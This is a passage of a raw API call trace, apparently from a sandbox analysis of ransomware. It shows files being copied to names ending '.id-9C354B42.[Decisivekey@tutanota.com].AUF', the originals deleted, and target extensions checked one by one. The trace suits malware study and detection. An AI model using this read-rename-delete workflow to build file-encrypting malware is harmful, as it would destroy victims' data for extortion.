lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0214.110] GetLastError () returned 0x0 [0214.110] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x75da, lpOverlapped=0x0) returned 1 [0214.124] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0214.125] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.125] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.126] SetEndOfFile (hFile=0x1f0) returned 1 [0214.126] CloseHandle (hObject=0x1f0) returned 1 [0214.126] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.126] SetEndOfFile (hFile=0x224) returned 1 [0214.127] CloseHandle (hObject=0x224) returned 1 [0214.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.127] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0214.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.127] lstrlenW (lpString=".doc") returned 4 [0214.127] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.127] lstrlenW (lpString=".docx") returned 5 [0214.127] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.127] lstrlenW (lpString=".pdf") returned 4 [0214.127] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.127] lstrlenW (lpString=".xls") returned 4 [0214.127] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.127] lstrlenW (lpString=".xlsx") returned 5 [0214.127] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.127] lstrlenW (lpString=".ppt") returned 4 [0214.127] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.127] lstrlenW (lpString=".zip") returned 4 [0214.127] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.127] lstrlenW (lpString=".rar") returned 4 [0214.127] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.127] lstrlenW (lpString=".bz2") returned 4 [0214.127] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.127] lstrlenW (lpString=".7z") returned 3 [0214.127] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.127] lstrlenW (lpString=".dbf") returned 4 [0214.127] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.127] lstrlenW (lpString=".1cd") returned 4 [0214.127] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.128] lstrlenW (lpString=".jpg") returned 4 [0214.128] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.128] lstrlenW (lpString=".doc") returned 4 [0214.128] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.128] lstrlenW (lpString=".docx") returned 5 [0214.128] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.128] lstrlenW (lpString=".pdf") returned 4 [0214.128] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.128] lstrlenW (lpString=".xls") returned 4 [0214.128] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.128] lstrlenW (lpString=".xlsx") returned 5 [0214.128] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.128] lstrlenW (lpString=".ppt") returned 4 [0214.128] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.128] lstrlenW (lpString=".zip") returned 4 [0214.128] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.128] lstrlenW (lpString=".rar") returned 4 [0214.128] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.128] lstrlenW (lpString=".bz2") returned 4 [0214.128] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.128] lstrlenW (lpString=".7z") returned 3 [0214.128] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.128] lstrlenW (lpString=".dbf") returned 4 [0214.128] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.128] lstrlenW (lpString=".1cd") returned 4 [0214.128] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0214.128] lstrlenW (lpString=".jpg") returned 4 [0214.128] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.128] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0214.128] lstrlenW (lpString="VBCN6.CHM") returned 9 [0214.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.129] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=109718) returned 1 [0214.129] CloseHandle (hObject=0x224) returned 1 [0214.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0214.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.129] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.129] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0214.129] GetLastError () returned 0x0 [0214.129] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0214.471] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0214.472] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.472] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.473] SetEndOfFile (hFile=0x1f0) returned 1 [0214.473] CloseHandle (hObject=0x1f0) returned 1 [0214.473] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.473] SetEndOfFile (hFile=0x224) returned 1 [0214.474] CloseHandle (hObject=0x224) returned 1 [0214.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.474] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0214.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString=".doc") returned 4 [0214.475] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".docx") returned 5 [0214.475] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.475] lstrlenW (lpString=".pdf") returned 4 [0214.475] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".xls") returned 4 [0214.475] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".xlsx") returned 5 [0214.475] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.475] lstrlenW (lpString=".ppt") returned 4 [0214.475] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString=".zip") returned 4 [0214.475] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".rar") returned 4 [0214.475] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".bz2") returned 4 [0214.475] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.475] lstrlenW (lpString=".7z") returned 3 [0214.475] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString=".dbf") returned 4 [0214.475] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString=".1cd") returned 4 [0214.475] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString=".jpg") returned 4 [0214.475] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString=".doc") returned 4 [0214.475] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".docx") returned 5 [0214.475] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.475] lstrlenW (lpString=".pdf") returned 4 [0214.475] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".xls") returned 4 [0214.475] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString=".xlsx") returned 5 [0214.475] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.475] lstrlenW (lpString=".ppt") returned 4 [0214.475] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.475] lstrlenW (lpString=".zip") returned 4 [0214.475] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.476] lstrlenW (lpString=".rar") returned 4 [0214.476] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.476] lstrlenW (lpString=".bz2") returned 4 [0214.476] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.476] lstrlenW (lpString=".7z") returned 3 [0214.476] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.476] lstrlenW (lpString=".dbf") returned 4 [0214.476] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.476] lstrlenW (lpString=".1cd") returned 4 [0214.476] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0214.476] lstrlenW (lpString=".jpg") returned 4 [0214.476] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.476] lstrcmpiW (lpString1=".config", lpString2=".AUF") returned 1 [0214.476] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0214.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.538] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=716) returned 1 [0214.538] CloseHandle (hObject=0x1e0) returned 1 [0214.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0214.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.538] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.538] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.539] GetLastError () returned 0x0 [0214.539] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0214.562] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0214.563] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.563] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0214.563] SetEndOfFile (hFile=0x1e4) returned 1 [0214.563] CloseHandle (hObject=0x1e4) returned 1 [0214.563] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.563] SetEndOfFile (hFile=0x1e0) returned 1 [0214.564] CloseHandle (hObject=0x1e0) returned 1 [0214.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.564] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0214.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.564] lstrlenW (lpString=".doc") returned 4 [0214.564] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0214.564] lstrlenW (lpString=".docx") returned 5 [0214.564] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0214.565] lstrlenW (lpString=".pdf") returned 4 [0214.565] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".xls") returned 4 [0214.565] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".xlsx") returned 5 [0214.565] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0214.565] lstrlenW (lpString=".ppt") returned 4 [0214.565] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString=".zip") returned 4 [0214.565] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".rar") returned 4 [0214.565] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".bz2") returned 4 [0214.565] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".7z") returned 3 [0214.565] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString=".dbf") returned 4 [0214.565] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString=".1cd") returned 4 [0214.565] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString=".jpg") returned 4 [0214.565] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString=".doc") returned 4 [0214.565] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".docx") returned 5 [0214.565] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0214.565] lstrlenW (lpString=".pdf") returned 4 [0214.565] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".xls") returned 4 [0214.565] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".xlsx") returned 5 [0214.565] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0214.565] lstrlenW (lpString=".ppt") returned 4 [0214.565] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString=".zip") returned 4 [0214.565] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".rar") returned 4 [0214.565] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".bz2") returned 4 [0214.565] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0214.565] lstrlenW (lpString=".7z") returned 3 [0214.565] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0214.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.565] lstrlenW (lpString=".dbf") returned 4 [0214.565] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0214.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.566] lstrlenW (lpString=".1cd") returned 4 [0214.566] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0214.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0214.566] lstrlenW (lpString=".jpg") returned 4 [0214.566] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0214.566] lstrcmpiW (lpString1=".inc", lpString2=".AUF") returned 1 [0214.566] lstrlenW (lpString="adcjavas.inc") returned 12 [0214.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.566] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=630) returned 1 [0214.566] CloseHandle (hObject=0x1e0) returned 1 [0214.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0214.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString=".doc") returned 4 [0214.567] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0214.567] lstrlenW (lpString=".docx") returned 5 [0214.567] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0214.567] 